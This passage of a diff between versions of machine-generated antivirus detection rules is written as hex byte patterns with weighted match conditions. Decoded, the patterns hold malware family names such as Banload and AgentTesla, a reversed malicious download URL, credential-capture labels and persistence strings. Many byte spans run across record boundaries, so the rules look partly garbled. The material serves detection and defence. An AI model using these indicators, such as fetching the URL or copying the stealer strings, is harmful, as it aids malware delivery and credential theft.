74 74 68 00 00 78 ba 00 00 09 00 02 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 42 61 6e 6c 6f 61 64 2e } //29298 + $a_00_7 = {01 00 21 01 0f b6 44 30 ff 33 c3 89 45 e4 3b 7d e4 7c 0f 8b 45 e4 05 ff 00 00 00 2b c7 89 45 e4 eb 03 29 7d e4 01 00 09 01 51 37 48 71 53 33 65 6c 42 02 00 15 01 61 62 61 69 78 6f 75 20 2d 20 47 65 74 49 6e 65 74 46 69 6c 65 02 00 14 01 61 62 61 69 78 6f 75 } //16706 condition: - ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*24436+(#a_73_2 & 1)*25959+(#a_00_3 & 1)*18773+(#a_74_4 & 1)*384+(#a_28_5 & 1)*275+(#a_2b_6 & 1)*2570) >=7 + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*24436+(#a_73_2 & 1)*25959+(#a_00_3 & 1)*18773+(#a_74_4 & 1)*384+(#a_42_5 & 1)*19745+(#a_79_6 & 1)*29298+(#a_00_7 & 1)*16706) >=7 } -rule _InfrastructureShared_12902{ +rule _InfrastructureShared_13745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 73 6c 61 2e 47 42 21 4d 54 42 00 01 00 22 80 01 53 65 6c 65 63 74 20 2a 20 66 72 6f 6d 20 57 69 6e 33 32 5f 43 6f 6d 70 75 74 65 72 53 79 73 74 65 6d 01 00 0a 80 01 56 69 72 74 75 } //16675 $a_6f_1 = {01 00 0b 80 01 53 62 69 65 44 6c 6c 2e 64 6c 6c 01 00 06 80 01 56 6d 77 61 72 65 01 00 07 80 01 41 76 61 73 74 55 49 01 00 05 80 01 41 56 47 55 49 01 00 07 80 01 53 74 61 72 74 75 70 01 00 08 80 01 } //27745 - $a_65_2 = {4c 41 4e 01 00 0c 80 01 43 72 65 61 74 65 4f 62 6a 65 63 74 00 00 78 ba 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 41 56 4e 21 4d 54 42 00 02 00 13 01 02 28 2a 00 00 0a 0a 28 2b 00 00 0a 06 6f 2c 00 00 0a 2a 02 00 22 01 03 28 42 00 00 0a } //26966 - $a_73_3 = {00 00 0a 0c 08 07 6f 44 00 00 0a 20 a0 86 01 00 28 45 00 00 0a de } //1547 - $a_00_5 = {00 0a 0a 16 0b 2b 0d 06 07 06 07 93 1b 59 d1 9d 07 17 58 0b 07 06 8e 69 32 ed 06 73 29 00 00 0a 2a 02 00 25 00 24 62 30 } //28418 - $a_62_6 = {62 2d 37 34 33 64 2d 34 35 31 64 2d 38 65 38 33 2d 30 39 62 33 32 65 31 39 63 32 34 37 00 00 78 ba 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 } //14389 - $a_61_7 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4b 32 30 38 38 21 4d 54 42 00 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 0f 81 01 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 07 81 01 52 65 76 65 72 73 65 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0b 81 01 } //28530 - $a_68_8 = {72 41 72 72 61 79 01 00 09 81 01 73 61 64 73 61 64 73 61 64 01 00 1d 81 01 65 78 65 2e 6f 6f 63 2f 61 63 2e 73 65 6d 6f 68 6e 65 6d 75 6c 2f 2f 3a 73 70 74 74 68 00 00 78 ba 00 00 09 00 02 00 06 00 21 } //28500 + $a_65_2 = {4c 41 4e 01 00 0c 80 01 43 72 65 61 74 65 4f 62 6a 65 63 74 00 00 78 ba 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4b 32 30 38 38 21 4d 54 42 00 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 0f 81 01 52 69 6a 6e } //26966 + $a_6c_3 = {61 6e 61 67 65 64 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 07 81 01 52 65 76 65 72 73 65 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0b 81 01 54 6f 43 68 61 72 41 72 72 61 79 01 00 09 81 01 73 61 64 73 61 64 73 61 64 01 00 1d 81 01 65 78 65 2e 6f 6f 63 2f 61 63 2e 73 65 6d 6f 68 6e 65 6d 75 6c 2f 2f 3a 73 } //24932 + $a_68_4 = {00 78 ba 00 00 09 00 02 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 42 61 6e 6c 6f 61 64 2e 42 41 56 00 01 00 21 01 0f b6 44 30 ff 33 c3 89 45 e4 3b 7d e4 7c 0f 8b 45 e4 05 ff 00 00 00 2b c7 89 45 e4 eb 03 29 7d e4 01 00 09 01 51 37 48 71 53 33 65 6c 42 02 00 15 01 61 62 61 69 78 6f 75 20 2d } //29808 + $a_74_5 = {6e 65 74 46 69 6c 65 02 00 14 01 61 62 61 69 78 6f 75 20 2d 20 44 6f 44 6f 77 6e 6c 6f 61 64 02 00 12 00 61 63 68 6f 75 20 61 20 70 61 67 69 6e 61 20 2d 20 00 02 00 0b 01 63 72 68 6f 6d 65 2e 65 78 65 00 00 00 78 ba 00 00 09 00 08 00 06 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e 33 32 2f 47 69 6e 61 } //18208 + $a_6c_6 = {01 00 07 01 55 73 65 72 20 2d 20 01 00 06 01 50 61 73 73 20 2d 01 00 09 01 44 6f 6d 61 69 6e 20 2d 20 01 00 34 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 57 69 6e 64 6f 77 73 02 00 11 01 69 74 73 74 6f 72 65 2e 64 6c 6c 00 49 6e } //25646 + $a_03_7 = {00 25 01 41 70 70 49 6e 69 74 5f 44 4c 4c 73 00 00 00 00 ff ff ff ff 0d 00 00 00 5c 6b e5 72 6e e5 6c 33 32 2e 64 6c 6c 00 00 78 ba 00 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e } //29801 + $a_6e_8 = {32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 53 39 33 39 21 4d 54 42 00 01 00 07 01 63 74 61 74 66 6e 76 01 00 08 01 65 6d 66 76 69 6d 6b 68 01 00 07 01 66 64 64 66 67 62 6b 01 00 07 01 67 62 73 6f 69 70 79 01 00 0a 01 67 75 78 75 62 72 6c 68 76 79 01 00 05 01 68 63 64 6d 6d 01 00 05 01 6e 74 6a 74 79 01 00 0a 01 } //22330 condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*27745+(#a_65_2 & 1)*26966+(#a_73_3 & 1)*1547+(#a_00_5 & 1)*28418+(#a_62_6 & 1)*14389+(#a_61_7 & 1)*28530+(#a_68_8 & 1)*28500) >=7 + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*27745+(#a_65_2 & 1)*26966+(#a_6c_3 & 1)*24932+(#a_68_4 & 1)*29808+(#a_74_5 & 1)*18208+(#a_6c_6 & 1)*25646+(#a_03_7 & 1)*29801+(#a_6e_8 & 1)*22330) >=7 } -rule _InfrastructureShared_12903{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 41 56 4e 21 4d 54 42 00 02 00 13 01 02 28 2a 00 00 0a 0a 28 2b 00 00 0a 06 6f 2c 00 00 0a 2a 02 00 22 01 03 28 42 00 00 0a 0b 06 16 73 43 00 00 0a 0c 08 07 6f 44 00 } //16675 - $a_a0_1 = {01 00 28 45 00 00 0a de 1e 02 00 25 01 02 6f 28 00 00 0a 0a 16 0b 2b 0d 06 07 06 07 93 1b 59 d1 } //2560 - $a_58_2 = {07 06 8e 69 32 ed 06 73 29 00 00 0a 2a 02 00 25 00 24 62 30 35 38 31 } //1949 - $a_2d_3 = {34 33 64 2d 34 35 31 64 2d 38 65 38 33 2d 30 39 62 33 32 65 31 39 63 32 34 37 00 00 78 ba 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4b 32 30 38 38 21 4d 54 42 00 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 } //14434 - condition: - ((#a_46_0 & 1)*16675+(#a_a0_1 & 1)*2560+(#a_58_2 & 1)*1949+(#a_2d_3 & 1)*14434) >=8 - -} -rule _InfrastructureShared_12904{ +rule _InfrastructureShared_13746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -144676,7 +154267,7 @@ rule _InfrastructureShared_12904{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*385+(#a_00_4 & 1)*9+(#a_53_5 & 1)*8993+(#a_00_6 & 1)*-7043+(#a_48_7 & 1)*20737) >=8 } -rule _InfrastructureShared_12905{ +rule _InfrastructureShared_13747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 02 00 06 00 21 " @@ -144691,7 +154282,7 @@ rule _InfrastructureShared_12905{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*27749+(#a_00_2 & 1)*11552+(#a_57_3 & 1)*14930+(#a_5c_4 & 1)*20000+(#a_00_5 & 1)*30720) >=2 } -rule _InfrastructureShared_12906{ +rule _InfrastructureShared_13748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 08 00 06 00 21 " @@ -144706,7 +154297,7 @@ rule _InfrastructureShared_12906{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*8307+(#a_64_2 & 1)*12851+(#a_39_3 & 1)*14675+(#a_75_4 & 1)*266+(#a_6a_5 & 1)*29268) >=8 } -rule _InfrastructureShared_12907{ +rule _InfrastructureShared_13749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -144727,7 +154318,7 @@ rule _InfrastructureShared_12907{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*266+(#a_6a_2 & 1)*29268+(#a_52_3 & 1)*29797+(#a_00_4 & 1)*21581+(#a_66_5 & 1)*28257+(#a_42_6 & 1)*19745+(#a_65_7 & 1)*26229+(#a_02_8 & 1)*10+(#a_80_9 & 1)*2+(#a_80_10 & 1)*2+(#a_80_11 & 1)*2) >=12 } -rule _InfrastructureShared_12908{ +rule _InfrastructureShared_13750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -144740,7 +154331,7 @@ rule _InfrastructureShared_12908{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*5895+(#a_00_2 & 1)*27491+(#a_65_3 & 1)*17153) >=16 } -rule _InfrastructureShared_12909{ +rule _InfrastructureShared_13751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -144753,7 +154344,7 @@ rule _InfrastructureShared_12909{ ((#a_46_0 & 1)*16675+(#a_11_1 & 1)*4952+(#a_01_3 & 1)*4864+(#a_16_4 & 1)*12032) >=18 } -rule _InfrastructureShared_12910{ +rule _InfrastructureShared_13752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -144767,7 +154358,7 @@ rule _InfrastructureShared_12910{ ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*2+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2+(#a_80_4 & 1)*2) >=18 } -rule _InfrastructureShared_12911{ +rule _InfrastructureShared_13753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -144781,7 +154372,7 @@ rule _InfrastructureShared_12911{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28632+(#a_74_2 & 1)*400+(#a_04_3 & 1)*-28632+(#a_01_4 & 1)*28424) >=18 } -rule _InfrastructureShared_12912{ +rule _InfrastructureShared_13754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -144795,7 +154386,7 @@ rule _InfrastructureShared_12912{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*5901+(#a_00_2 & 1)*29295+(#a_74_3 & 1)*18177+(#a_01_4 & 1)*1) >=18 } -rule _InfrastructureShared_12913{ +rule _InfrastructureShared_13755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 0f 00 21 " @@ -144819,7 +154410,7 @@ rule _InfrastructureShared_12913{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_ba_11 & 1)*0+(#a_5c_12 & 1)*16723+(#a_3a_13 & 1)*17744+(#a_66_14 & 1)*24936) >=22 } -rule _InfrastructureShared_12914{ +rule _InfrastructureShared_13756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -144832,7 +154423,7 @@ rule _InfrastructureShared_12914{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*28261+(#a_6e_2 & 1)*24941+(#a_01_3 & 1)*100) >=400 } -rule _InfrastructureShared_12915{ +rule _InfrastructureShared_13757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,fffffff4 01 fffffff4 01 05 00 21 " @@ -144844,7 +154435,7 @@ rule _InfrastructureShared_12915{ ((#a_46_0 & 1)*16675+(#a_6e_2 & 1)*27492+(#a_48_3 & 1)*8448) >=500 } -rule _InfrastructureShared_12916{ +rule _InfrastructureShared_13758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -144854,7 +154445,7 @@ rule _InfrastructureShared_12916{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12917{ +rule _InfrastructureShared_13759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -144864,7 +154455,7 @@ rule _InfrastructureShared_12917{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12918{ +rule _InfrastructureShared_13760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -144874,7 +154465,7 @@ rule _InfrastructureShared_12918{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_12919{ +rule _InfrastructureShared_13761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -144885,7 +154476,7 @@ rule _InfrastructureShared_12919{ ((#a_46_0 & 1)*21283+(#a_c1_1 & 1)*702) >=1 } -rule _InfrastructureShared_12920{ +rule _InfrastructureShared_13762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -144896,7 +154487,7 @@ rule _InfrastructureShared_12920{ ((#a_4c_0 & 1)*21539+(#a_8b_1 & 1)*19851) >=1 } -rule _InfrastructureShared_12921{ +rule _InfrastructureShared_13763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -144908,7 +154499,7 @@ rule _InfrastructureShared_12921{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-28619+(#a_90_2 & 1)*-256) >=1 } -rule _InfrastructureShared_12922{ +rule _InfrastructureShared_13764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -144920,21 +154511,35 @@ rule _InfrastructureShared_12922{ ((#a_54_0 & 1)*18467+(#a_8d_1 & 1)*21899+(#a_04_2 & 1)*-28439) >=1 } -rule _InfrastructureShared_12923{ +rule _InfrastructureShared_13765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 67 65 74 5f 61 70 69 5f 61 64 64 72 00 01 00 0e 01 ac 84 c0 74 09 0c 21 32 d0 c1 c2 0b eb f2 01 00 11 00 33 d2 fc 33 c0 ac 0b c0 74 07 33 d0 c1 ca 03 eb f2 01 00 1e 01 33 c0 33 db ac 32 c1 8a cd 8a ea 8a d6 b6 08 66 d1 eb 66 d1 } //18467 $a_66_1 = {20 83 66 81 f3 01 00 31 00 } //29656 - $a_07_2 = {81 c7 2b d2 23 00 03 f8 80 3e 00 75 ef 5e 3b 7d 0c 75 1b 2b 4b 18 f7 d9 8b 7b 24 03 fa 0f b7 0c 4f c1 e1 02 03 4b 1c 8b 04 0a 03 c2 eb 01 00 17 00 8b 54 24 04 33 c0 eb 09 0f be c9 c1 c0 07 33 c1 42 8a 0a 84 c9 75 f1 00 00 78 bb 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 54 61 72 72 79 44 6f 75 67 68 2e 42 21 64 68 61 00 01 00 14 01 52 6c 74 51 58 31 6b 4a 63 56 5a 47 57 45 46 63 52 51 3d 3d 01 00 6c 01 5a 6c 78 54 52 30 4a 53 52 31 5a 70 63 46 6c 53 52 6b 42 51 51 47 6c 77 65 57 42 38 64 32 6c 49 42 51 4d 46 41 51 51 48 42 51 4d 59 } //-15956 - $a_44_3 = {52 34 46 41 77 55 44 47 48 41 46 41 77 55 65 42 51 4d 46 41 77 55 44 42 51 4d 46 41 77 45 46 53 47 39 47 57 31 42 66 57 57 39 61 51 31 42 64 61 56 42 61 58 6c 68 53 57 31 63 3d 00 00 78 bb 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 } //30529 - $a_5f_4 = {6f 74 68 2f 47 6f 6f 67 6c 65 42 6f 74 5f 55 73 65 72 41 67 65 6e 74 00 02 00 68 03 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 47 6f 6f 67 6c 65 62 6f 74 2f 32 2e 31 3b 20 2b 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 62 6f 74 2e 68 74 6d 6c 29 90 19 01 09 61 2d 7a 41 2d 5a } //24937 + $a_07_2 = {81 c7 2b d2 23 00 03 f8 80 3e 00 75 ef 5e 3b 7d 0c 75 1b 2b 4b 18 f7 d9 8b 7b 24 03 fa 0f b7 0c 4f c1 e1 02 03 4b 1c 8b 04 0a 03 c2 eb 01 00 17 00 8b 54 24 04 33 c0 eb 09 0f be c9 c1 c0 07 33 c1 42 8a 0a 84 c9 75 f1 00 00 78 bb 00 00 01 00 01 00 06 00 21 23 43 4d 4e 3a 48 53 54 52 3a 55 65 66 69 48 61 63 6b 54 6f 6f 6c 73 00 01 00 0b 80 01 68 77 69 64 5f 64 72 69 76 65 72 01 00 10 80 01 72 6f 6f 64 6b 63 61 42 64 72 61 75 47 69 66 45 01 00 08 80 01 52 65 64 4c 6f 74 75 73 01 00 08 80 01 72 65 64 6c 6f 74 75 73 01 00 07 80 01 5c 43 72 34 73 68 5c 01 00 4a 80 01 34 38 20 38 33 20 45 43 20 32 } //-15956 + $a_38_3 = {38 44 20 30 35 20 3f 3f 20 3f 3f 20 3f 3f 20 3f 3f 20 34 38 20 38 39 20 34 34 20 32 34 20 33 38 20 45 38 20 3f 3f 20 3f 3f 20 3f 3f 20 3f 3f 20 38 34 20 43 } //8248 8D 05 ?? ?? ?? ?? 48 89 44 24 38 E8 ?? ?? ?? ?? 84 C + $a_46_4 = {38 34 00 00 78 bb 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 54 61 72 72 79 44 6f 75 } //8240 condition: - ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*29656+(#a_07_2 & 1)*-15956+(#a_44_3 & 1)*30529+(#a_5f_4 & 1)*24937) >=1 + ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*29656+(#a_07_2 & 1)*-15956+(#a_38_3 & 1)*8248+(#a_46_4 & 1)*8240) >=1 } -rule _InfrastructureShared_12924{ +rule _InfrastructureShared_13766{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " + + strings : + $a_4e_0 = {48 53 54 52 3a 55 65 66 69 48 61 63 6b 54 6f 6f 6c 73 00 01 00 0b 80 01 68 77 69 64 5f 64 72 69 76 65 72 01 00 10 80 01 72 6f 6f 64 6b 63 61 42 64 72 61 75 47 69 66 45 01 00 08 80 01 52 65 64 4c 6f 74 75 73 01 00 08 80 01 72 65 64 } //17187 + $a_75_1 = {01 00 07 80 01 5c 43 72 34 73 68 5c 01 00 4a 80 01 34 38 20 38 33 20 45 43 20 32 38 20 34 38 20 38 44 20 30 35 20 3f 3f 20 3f 3f 20 3f 3f 20 3f 3f 20 34 38 20 38 39 20 34 34 20 32 34 20 33 38 20 45 38 20 3f 3f 20 3f 3f 20 3f 3f 20 3f 3f 20 38 34 20 43 30 20 30 46 20 38 34 00 00 78 bb 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 } //28524 + $a_70_2 = {72 3a 57 69 6e 33 32 2f 54 61 72 72 79 44 6f 75 67 68 2e 42 21 64 68 61 00 01 00 14 01 52 6c 74 51 58 31 6b 4a 63 56 5a 47 57 45 46 63 52 51 3d 3d 01 00 6c 01 5a 6c 78 54 52 30 4a 53 52 31 5a 70 63 46 6c 53 52 6b 42 51 51 47 6c 77 65 57 42 38 64 32 6c 49 42 51 4d 46 41 51 51 48 42 51 4d 59 41 77 55 44 42 52 34 46 41 77 55 44 47 48 41 } //28530 㩲楗㍮⼲慔牲䑹畯桧䈮搡慨Ā᐀刁瑬塑欱捊婖均䙅剣㵑Ľ氀威硬剔䨰剓娱捰汆剓䉫兑汇敷䉗搸氲䉉䵑䅆兑䉈䵑䅙啷䉄㑒䅆啷䝄䅈 + $a_55_3 = {42 51 4d 46 41 77 55 44 42 51 4d 46 41 77 45 46 53 47 39 47 57 31 42 66 57 57 39 61 51 31 42 64 61 56 42 61 58 6c 68 53 57 31 63 3d 00 00 78 bb 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 47 6f 6f 67 6c 65 42 6f 74 5f 55 73 65 72 41 67 65 6e 74 00 02 00 68 03 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 63 6f 6d } //16710 + $a_69_4 = {6c 65 3b 20 47 6f 6f 67 6c 65 62 6f 74 2f 32 2e 31 3b 20 2b 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 62 6f 74 2e 68 74 6d 6c 29 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 ff ff 18 01 4d 00 63 00 41 00 66 00 65 00 65 00 2c 00 20 00 49 00 6e 00 63 00 2e 00 00 00 78 bb 00 } //24944 + condition: + ((#a_4e_0 & 1)*17187+(#a_75_1 & 1)*28524+(#a_70_2 & 1)*28530+(#a_55_3 & 1)*16710+(#a_69_4 & 1)*24944) >=1 + +} +rule _InfrastructureShared_13767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -144945,7 +154550,7 @@ rule _InfrastructureShared_12924{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25456) >=2 } -rule _InfrastructureShared_12925{ +rule _InfrastructureShared_13768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -144956,7 +154561,7 @@ rule _InfrastructureShared_12925{ ((#a_46_0 & 1)*16675+(#a_3b_1 & 1)*11826) >=2 } -rule _InfrastructureShared_12926{ +rule _InfrastructureShared_13769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -144967,7 +154572,7 @@ rule _InfrastructureShared_12926{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24922) >=2 } -rule _InfrastructureShared_12927{ +rule _InfrastructureShared_13770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -144978,7 +154583,7 @@ rule _InfrastructureShared_12927{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100) >=2 } -rule _InfrastructureShared_12928{ +rule _InfrastructureShared_13771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -144989,7 +154594,7 @@ rule _InfrastructureShared_12928{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32) >=2 } -rule _InfrastructureShared_12929{ +rule _InfrastructureShared_13772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -145000,7 +154605,7 @@ rule _InfrastructureShared_12929{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*2057) >=2 } -rule _InfrastructureShared_12930{ +rule _InfrastructureShared_13773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -145010,7 +154615,7 @@ rule _InfrastructureShared_12930{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12931{ +rule _InfrastructureShared_13774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -145022,7 +154627,7 @@ rule _InfrastructureShared_12931{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*84+(#a_22_2 & 1)*25970) >=2 } -rule _InfrastructureShared_12932{ +rule _InfrastructureShared_13775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -145036,7 +154641,7 @@ rule _InfrastructureShared_12932{ ((#a_46_0 & 1)*21283+(#a_d0_1 & 1)*257+(#a_40_2 & 1)*28467+(#a_53_3 & 1)*21295+(#a_01_4 & 1)*2) >=2 } -rule _InfrastructureShared_12933{ +rule _InfrastructureShared_13776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -145047,12 +154652,12 @@ rule _InfrastructureShared_12933{ $a_01_4 = {7d } //-28614 } $a_00_5 = {0a 01 } //144 Ċ $a_62_6 = {6f 77 65 72 3a 02 00 0a 01 24 25 37 62 75 70 70 65 72 3a 02 00 0b 01 25 32 34 25 37 62 6a 6e 64 69 3a 02 00 0a 01 24 25 37 42 6c 6f 77 65 72 3a 02 00 0a 01 24 25 37 } //9508 - $a_70_7 = {72 3a 02 00 0b 01 25 32 34 25 37 42 6a 6e 64 69 3a ff ff 05 01 3c 68 74 6d 6c 00 00 78 bb 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 57 6f 72 6d 3a 4d 53 49 4c 2f 4e 57 6f 72 6d 2e 4e 49 54 21 4d 54 42 00 02 00 6c 03 14 0a 73 1d 00 00 0a 0b 07 28 1e 00 00 0a 03 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 0a 07 6f 90 01 01 00 00 0a 73 22 } //30018 + $a_70_7 = {72 3a 02 00 0b 01 25 32 34 25 37 42 6a 6e 64 69 3a ff ff 05 01 3c 68 74 6d 6c 00 00 78 bb 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 68 72 65 70 6c 65 43 68 61 72 6d 2e 42 21 64 68 61 00 01 00 1e 00 43 00 3a 00 5c 00 45 00 53 00 44 00 5c 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 01 00 } //30018 condition: ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*30272+(#a_3a_3 & 1)*19521+(#a_01_4 & 1)*-28614+(#a_00_5 & 1)*144+(#a_62_6 & 1)*9508+(#a_70_7 & 1)*30018) >=2 } -rule _InfrastructureShared_12934{ +rule _InfrastructureShared_13777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -145060,26 +154665,17 @@ rule _InfrastructureShared_12934{ $a_46_0 = {59 32 56 3a 46 6c 6f 